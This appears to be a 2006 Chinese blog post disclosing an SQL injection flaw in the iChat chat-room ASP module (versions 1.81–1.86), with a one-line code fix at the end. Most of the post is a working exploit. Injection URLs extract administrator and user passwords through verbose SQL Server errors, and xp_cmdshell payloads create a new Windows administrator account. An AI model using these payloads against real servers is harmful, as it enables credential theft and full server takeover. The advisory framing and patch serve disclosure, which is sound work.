个人※§工◆作◆室§“谦虚” “善学” “负责” “肯专研” 这是我做人的原则,也是我做为一个网管所坚持的原则!

ichat聊天室asp模块存在SQL注入漏洞和演示

上一篇 / 下一篇  2006-11-22 18:08:38

ichat聊天室asp模块存在SQL注入漏洞和演示


ichat聊天室asp模块存在SQL注入漏洞和演示
涉及版本
ichat1.81
ichat1.85
ichat1.86

ichat聊天室是国内比较著名的聊天服务器软件,其中的百宝箱里面的userboxrun.asp,userboxsend1.asp等文件存在sql 注入漏洞,用户提交:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;and (select top 1 username from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;and (select top 1 pass from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;and (select top 1 username from userinfo)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;and (select top 1 userpassword from userinfo)
等一系列url能得到聊天室管理员用户名称和密码。
在没关闭详细错误显示的sql版服务器上提交:

http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;and (select top 1 username from admin)=5
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;and (select top 1 pass from admin)=5
类似url可以得到如下显示

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 'admin' 转换为数据类型为 int 的列时发生语法错误。

/shop/userboxrun.asp,行27

admin即为管理员名称

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 'ichat' 转换为数据类型为 int 的列时发生语法错误。

/shop/userboxrun.asp,行27

ichat即为管理员密码,具体过程不再详述。
最危险的是,在没删除xp_cmdshell储存过程的sql版服务器上,如果用于ichat连接数据库的sql用户是sa权限的,提交如下url:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;execmaster.dbo.xp_cmdshell "net user xiaolu xiaoxue /add";--
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;execmaster.dbo.xp_cmdshell "net localgroup administrators xiaolu /add";--

可以添加用户名称为:xiaolu,密码为:xiaoxue的服务器管理员。
解决办法:

wpid=request.querystring("wp")
wpid=replace(wpid,"'","")
添加:
wpid=cint(wpid)

by 小路
666w.com


TAG:

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

我的栏目

日历

« 2009-01-10  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 2095
  • 日志数: 22
  • 图片数: 1
  • 书签数: 4
  • 建立时间: 2006-10-26
  • 更新时间: 2007-02-05

RSS订阅

Open Toolbar